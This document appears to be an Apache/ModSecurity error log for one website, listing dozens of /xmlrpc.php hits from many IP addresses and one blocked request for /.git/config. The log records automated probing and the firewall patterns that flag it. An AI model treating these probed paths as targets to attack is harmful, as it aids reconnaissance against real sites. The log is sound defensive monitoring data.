[Thu Apr 16 06:28:36.904584 2026] [:error] [pid 49094:tid 49111] [client 109.172.115.12:42322] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeARFDbDwvcXorHR_MyO5QAAAU8"]
[Thu Apr 16 06:35:04.762497 2026] [:error] [pid 49094:tid 49120] [client 82.154.116.112:39746] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeASmDbDwvcXorHR_MyTqgAAAVg"]
[Thu Apr 16 06:36:13.278509 2026] [:error] [pid 49094:tid 49112] [client 147.93.131.179:33604] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAS3TbDwvcXorHR_MyVYQAAAVA"]
[Thu Apr 16 06:37:20.280709 2026] [:error] [pid 29603:tid 29607] [client 54.37.239.214:47020] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeATIFfGOR6fpTWUAzrLSgAAAQI"]
[Thu Apr 16 06:37:54.791171 2026] [:error] [pid 57537:tid 57576] [client 103.153.2.10:46980] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeATQlVQRS8nm73ENAk1vgAAAEE"]
[Thu Apr 16 06:38:10.552594 2026] [:error] [pid 57538:tid 57614] [client 20.212.251.69:44754] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeATUsuMaiEF5SVR2Bc6jwAAAIw"]
[Thu Apr 16 06:38:42.314604 2026] [:error] [pid 49094:tid 49119] [client 202.157.175.19:48542] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeATcjbDwvcXorHR_MyXSQAAAVc"]
[Thu Apr 16 06:39:38.186061 2026] [:error] [pid 29603:tid 29618] [client 65.21.67.136:59872] [client 65.21.67.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.67.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeATqlfGOR6fpTWUAzrNhwAAAQ0"]
[Thu Apr 16 06:40:37.234033 2026] [:error] [pid 57538:tid 57620] [client 164.132.207.73:35704] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAT5cuMaiEF5SVR2Bc7bwAAAJI"]
[Thu Apr 16 06:42:49.698920 2026] [:error] [pid 57537:tid 57575] [client 185.199.223.39:44346] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAUaVVQRS8nm73ENAk2_wAAAEA"]
[Thu Apr 16 06:46:04.235907 2026] [:error] [pid 49094:tid 49117] [client 176.96.136.90:52462] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAVLDbDwvcXorHR_MyclAAAAVU"]
[Thu Apr 16 06:47:36.815096 2026] [:error] [pid 57537:tid 57576] [client 142.93.115.177:51338] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAViFVQRS8nm73ENAk39gAAAEE"]
[Thu Apr 16 06:49:03.409080 2026] [:error] [pid 29603:tid 29606] [client 138.201.130.101:56530] [client 138.201.130.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.130.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAV31fGOR6fpTWUAzrSawAAAQE"]
[Thu Apr 16 06:50:22.919613 2026] [:error] [pid 49094:tid 49115] [client 172.238.64.140:34624] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAWLjbDwvcXorHR_MyfSwAAAVM"]
[Thu Apr 16 06:52:15.862410 2026] [:error] [pid 49094:tid 49107] [client 13.239.53.175:46002] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAWnzbDwvcXorHR_Myg0QAAAUs"]
[Thu Apr 16 06:54:41.354272 2026] [:error] [pid 57538:tid 57603] [client 161.97.171.174:53786] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAXMcuMaiEF5SVR2BdAmAAAAIE"]
[Thu Apr 16 06:58:11.314036 2026] [:error] [pid 49094:tid 49117] [client 137.184.237.108:52432] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAYAzbDwvcXorHR_MykCAAAAVU"]
[Thu Apr 16 07:00:28.185808 2026] [:error] [pid 57536:tid 57566] [client 80.82.219.138:49824] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAYjCQU4faGja6jpDuG8AAAABI"]
[Thu Apr 16 07:02:55.438882 2026] [:error] [pid 49094:tid 49120] [client 51.68.74.67:57078] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAZHzbDwvcXorHR_Mym6AAAAVg"]
[Thu Apr 16 07:07:18.804642 2026] [:error] [pid 49094:tid 49117] [client 164.132.207.73:53106] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAaJjbDwvcXorHR_MypDwAAAVU"]
[Thu Apr 16 07:11:29.912147 2026] [:error] [pid 29603:tid 29618] [client 212.132.70.123:37312] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAbIVfGOR6fpTWUAzrbtQAAAQ0"]
[Thu Apr 16 07:12:08.980400 2026] [:error] [pid 29603:tid 29607] [client 159.89.91.236:59220] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAbSFfGOR6fpTWUAzrb5wAAAQI"]
[Thu Apr 16 07:13:33.488243 2026] [:error] [pid 29603:tid 29616] [client 45.227.163.112:36836] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAbnVfGOR6fpTWUAzrcewAAAQs"]
[Thu Apr 16 07:16:29.734650 2026] [:error] [pid 49094:tid 49102] [client 148.113.196.234:34144] [client 148.113.196.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.196.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAcTTbDwvcXorHR_MyuKAAAAUY"]
[Thu Apr 16 07:16:54.281297 2026] [:error] [pid 57639:tid 57646] [client 23.239.25.95:55176] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAcZqMCQoTw7TsxWunWgAAAAMA"]
[Thu Apr 16 07:20:34.934578 2026] [:error] [pid 29603:tid 29605] [client 65.20.72.195:39592] [client 65.20.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.20.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAdQlfGOR6fpTWUAzrerQAAAQA"]
[Thu Apr 16 07:27:34.093552 2026] [:error] [pid 29603:tid 29627] [client 15.235.163.7:42564] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAe5lfGOR6fpTWUAzrhbAAAARY"]
[Thu Apr 16 07:29:34.788558 2026] [:error] [pid 57639:tid 57651] [client 196.27.114.137:33838] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAfXqMCQoTw7TsxWunZIwAAAMU"]
[Thu Apr 16 07:37:24.651990 2026] [:error] [pid 57639:tid 57651] [client 5.42.124.21:42150] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAhNKMCQoTw7TsxWunffwAAAMU"]
[Thu Apr 16 07:39:06.637080 2026] [:error] [pid 57639:tid 57655] [client 148.113.189.81:44974] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAhmqMCQoTw7TsxWungOQAAAMk"]
[Thu Apr 16 07:40:27.885064 2026] [:error] [pid 57639:tid 57646] [client 85.128.143.145:42004] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAh66MCQoTw7TsxWunhGAAAAMA"]
[Thu Apr 16 07:41:48.045824 2026] [:error] [pid 49094:tid 49116] [client 149.202.83.206:50092] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAiPDbDwvcXorHR_My8ZQAAAVQ"]
[Thu Apr 16 07:47:07.939542 2026] [:error] [pid 57639:tid 57657] [client 91.245.210.195:55734] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAje6MCQoTw7TsxWunkAwAAAMs"]
[Thu Apr 16 07:48:09.052129 2026] [:error] [pid 57536:tid 57558] [client 23.98.148.92:50128] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAjuSQU4faGja6jpDuO6wAAAAo"]
[Thu Apr 16 07:51:44.957969 2026] [:error] [pid 57639:tid 57662] [client 51.75.54.138:50144] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAkkKMCQoTw7TsxWunnVQAAANA"]
[Thu Apr 16 07:54:47.313790 2026] [:error] [pid 29603:tid 29625] [client 168.227.250.223:16376] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAlR1fGOR6fpTWUAzrq5QAAARQ"]
[Thu Apr 16 07:55:15.596814 2026] [:error] [pid 57536:tid 57550] [client 96.46.48.39:42624] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAlYyQU4faGja6jpDuP0gAAAAI"]
[Thu Apr 16 07:55:16.811619 2026] [:error] [pid 57538:tid 57614] [client 5.135.142.201:42772] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAlZMuMaiEF5SVR2BdSNgAAAIw"]
[Thu Apr 16 07:58:52.871568 2026] [:error] [pid 49094:tid 49097] [client 45.233.148.131:52678] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAmPDbDwvcXorHR_MzD2wAAAUE"]
[Thu Apr 16 08:03:49.997789 2026] [:error] [pid 49094:tid 49114] [client 23.98.148.92:37838] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAnZTbDwvcXorHR_MzHDQAAAVI"]
[Thu Apr 16 08:05:50.126963 2026] [:error] [pid 29603:tid 29611] [client 185.98.139.110:43630] [client 185.98.139.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAn3lfGOR6fpTWUAzrv7AAAAQY"]
[Thu Apr 16 08:11:11.690887 2026] [:error] [pid 57639:tid 57669] [client 159.65.249.223:48716] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeApH6MCQoTw7TsxWunytAAAANc"]
[Thu Apr 16 08:16:27.655771 2026] [:error] [pid 57639:tid 57652] [client 137.74.43.174:35464] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAqW6MCQoTw7TsxWun0uQAAAMY"]
[Thu Apr 16 08:18:40.475819 2026] [:error] [pid 29603:tid 29610] [client 158.69.220.86:44908] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAq4FfGOR6fpTWUAzrzYQAAAQU"]
[Thu Apr 16 08:19:06.124041 2026] [:error] [pid 29603:tid 29613] [client 207.154.197.201:43590] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAq-lfGOR6fpTWUAzrzfQAAAQg"]
[Thu Apr 16 08:20:17.799316 2026] [:error] [pid 57639:tid 57648] [client 137.184.69.218:23486] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeArQaMCQoTw7TsxWun4KgAAAMI"]
[Thu Apr 16 08:23:21.734835 2026] [:error] [pid 49094:tid 49108] [client 213.160.71.62:49326] [client 213.160.71.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAr-TbDwvcXorHR_MzOGwAAAUw"]
[Thu Apr 16 08:25:49.582092 2026] [:error] [pid 57639:tid 57662] [client 98.93.160.221:42746] [client 98.93.160.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeAsjaMCQoTw7TsxWun8BQAAANA"]
[Thu Apr 16 08:29:45.386975 2026] [:error] [pid 57536:tid 57566] [client 54.37.239.214:35880] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAteSQU4faGja6jpDuWWQAAABI"]
[Thu Apr 16 08:29:46.872365 2026] [:error] [pid 57639:tid 57654] [client 149.202.76.92:59372] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAteqMCQoTw7TsxWun-oQAAAMg"]
[Thu Apr 16 08:31:15.678529 2026] [:error] [pid 57537:tid 57586] [client 192.159.142.249:40166] [client 192.159.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.159.142.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAt01VQRS8nm73ENAlOcAAAAEs"]
[Thu Apr 16 08:31:22.928884 2026] [:error] [pid 49094:tid 49099] [client 62.169.28.251:35050] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAt2jbDwvcXorHR_MzTDgAAAUM"]
[Thu Apr 16 08:42:24.352972 2026] [:error] [pid 57536:tid 57564] [client 137.184.69.218:16946] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAwcCQU4faGja6jpDuX8gAAABA"]
[Thu Apr 16 08:48:40.469774 2026] [:error] [pid 49094:tid 49110] [client 47.244.90.157:34180] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeAx6DbDwvcXorHR_MzbIgAAAU4"]
[Thu Apr 16 09:02:53.579133 2026] [:error] [pid 49094:tid 49116] [client 82.223.114.111:46980] [client 82.223.114.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.114.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA1PTbDwvcXorHR_Mzg5AAAAVQ"]
[Thu Apr 16 09:04:36.081401 2026] [:error] [pid 57639:tid 57657] [client 147.45.149.57:49252] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA1pKMCQoTw7TsxWukVAAAAAMs"]
[Thu Apr 16 09:05:38.826819 2026] [:error] [pid 29603:tid 29616] [client 87.98.165.243:43338] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeA14lfGOR6fpTWUAzoFRQAAAQs"]
